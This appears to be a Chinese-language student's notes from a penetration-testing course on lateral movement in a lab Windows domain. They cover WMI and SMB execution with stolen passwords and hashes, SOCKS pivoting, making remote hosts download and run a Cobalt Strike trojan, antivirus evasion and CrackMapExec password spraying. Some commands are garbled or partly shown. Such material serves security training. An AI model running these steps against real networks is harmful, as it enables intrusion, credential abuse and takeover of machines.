横向移动 - WMI、SMB
VMI
和 SMB
两种横向移动上线方式,均有套件可以直接使用且支持哈希值传递,改变文件名即可
CS
中也有 psexec
插件支持明文和 hash
的移动,密码喷洒可以周而复始的去碰撞出内网中的域内账户密码登录
# 域内信息收集
环境
以取得 3.31
权限依次渗透余下主机
3.31
权限提升至system
设置延迟为 0- 密码凭证读取 (明文密码和 hash 值)
- 网络探测 — 该网段下其下存活主机
- 检测
135
端口是否开放
# WMI
# 利用条件
1 | 1、WMI服务开启,端口135,默认开启。 |
135
端口进行利用 支持用户名明文或 hash
的方式认证 并且该方法不会在目标日志系统留下痕迹
# wmic 单执行无回显
通过系统自带的命令连接对方的 IP 地址 输入账户密码; windows
自带属于横向移动白名单,不过这个命令是无回显的, 我们本地只能接收到是否成功不会看到命令完成后的效果
1 | shell vmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call |
vml
连接后通过远程下载,下载当前电脑磁盘下的木马文件而后执行,下面两个命令第一个下载,下载本机的 3.31
下的 beacon. exe
放置到 3.32
的 c 盘下
第二个执行
学习权限维持远控工具再回来,假设 IPC
利用凭证横向移动另一台机器实际上 CS
是会有一个文件上传的过程,上传的文件实际是后门文件 exe
后门,但是被机器的杀软拦截,就会出现下方文件上传失败的情况,
小迪说可以转变思路,替换横向上传 CS
的操作为上传远控软件,然后运行远控软件,虽然木马是会被杀软识别无法执行上线命令,但是通过凭证还是可以对横向的机器进行其他操作,比如读取文件,读取到远控运行后的啊账户密码然后物理机连接,有了桌面后手动关闭杀软再传木马进行上线
隐藏用户 远控软件维持
# cscript 交互式
自带 windos
程序交互式反弹 shell
但是不会反弹到 cs
中,执行成功后是之间返回,不会回到 CS
执行命令,适用于在系统内反弹而不是工具
1 | C:\\windows\system32\ipconfig |
# wmiexec.py-impacket 反向连接
前置上线操作就是转发流量建立节点
1 | 1. 建立socks节点通讯,攻击机访问3.32 |
套件非常方便支持 hash
明文并且执行有回显,缺点程序不是系统自带的,如需使用需要两种方法,但是一般建议方法 2 进行,方法 1 如果是上传的受到诸多因素限制,网络问题 文件过多 防火墙拦截....
- 将程序上传至受控主机。受控主机上去调用 (风险大)
- 受控主机建立
socks
节点,攻击机连接实现在本地通讯内网 建议此方法
hash 传递
1 | python.exe wmiexec.py -hashes :51xxxxxxxxxx |
# 0X01 配置代理攻击机通讯 3.32
受控主机 3.31
启动代理转发 —> socks
代理,端口为 30194,目的是攻击机通讯到 3.32
启动 Proxifier
首先配置代理服务器,地址为本机的 CS
服务端 IP 地址;端口为受控主机 3.31
转发端口
代理规则设置为只要 3.*
网段流量都经过这个规则,任意进程 任意端口
# 0X02 通讯 3.32 执行命令
配置完成攻击机可以访问 3.32
主机了,使用 wmiexec.py
脚本远程执行命令
1 | python.exe wmiexec.py ./adminiistrator:admin!@#45@192.168.3.32 "whoami" |
上线操作就是将这里的命令改为远程下载本机的木马文件
1 | python.exe wmiexec.py ./adminiistrator:admin!@#45@192.168.3.32 "xxxx远程下载命令" |
# 0X03 生成代理转发监听器木马
受控 3.31
主机右键转发上线新建监听器,这步操作和建立 socks
节点是不同的,前者是为了访问通讯建立连接,这里是为了监听后续生成的木马文件达到上线的目的
生成后面 exe
给到转发上线的监听器
# 0X04 木马 3.31 供其余主机下载
生成的反向木马 44555.exe
给到 3.31
主机根目录下,这样该网段下的其他主机也可以下载到这个木马,其他主机可以下载就可以执行去社区 生成命令
# 0X05 通讯 3.32 执行下载木马
回到攻击机通讯的 cmd
窗口替换命令为远程下次木马 44555.exe
命令并且直接执行,因为我们已经通过代理节点实现了通讯,实现了对 3.32
主机命令的执行,上传木马到 3.31
让它远程下载即可
1 | python.exe wmiexec.py ./adminiistrator:admin!@#45@192.168.3.32 |
3.32
主机远程下载木马生效,命令包含了下载和执行
# 0X06 执行木马 CS 反向连接
CS
通过受控主机 3.31
代理节点转发成功远程下载木马执行上线操作
# SMB
# 利用条件
1 | 1、445端口开放 |
利用 SMB 打印机通过明文或者 hash
传递远程执行,条件 445 服务端口开放
# psExec64.exe 微软工具
交互式内部 windows
官方提供理论上不存在被杀毒
前期已经通过 socks
代理使攻击机和 3.32
建立通讯,所以这里我们直接演示效果
1 | PsExec.exe \\192.168.3.32 -u administrator -p admin!#45 -s cmd // 建立smb连接 |
# smbexec.py-impacket
攻击机和 3.32 通讯后运行命令
1 | python smbexec.py ./administrator:admin!@#45@192.168.3.32 |
反弹 cmd
面板
# CS 插件
对 3.31
网络探测后回显出的目标列表右键可以直接选择横向移动
选择对应的账户密码及监听器,监听器的选择就是以何种方式上线
# CrackMapExec 密码喷洒
拿下主机后抓取密码凭证再去碰撞,周而复始很麻烦使用 CrackMapExec
密码碰撞解决,课程中的工具放置到 Linux
中的,显然外网 Linux
是无法和 3.32
通讯也还得是使用代理,内网环境中,密码复用率很高,一波喷洒,能助力你拿到一波主机,对拿到的主机再次抓取密码,再用新拿到的密码喷洒一波......,如此反复。密码喷洒的思路就是这样
安装软件 Proxychains
Linux 代理工具完成实习
喷射使用
喷洒使用的协议是 SMB
但如果是利用 IPC WMI
进行喷洒是不行的,。 WMI
通常用于 Windows
系统管理,而 LPC
是一种本地进程间通信机制,都属于系统中的操作不在此工具中
1 | proxychains cme smb 192.168.3.21-33 -u administrator -p 'admin!@#45' |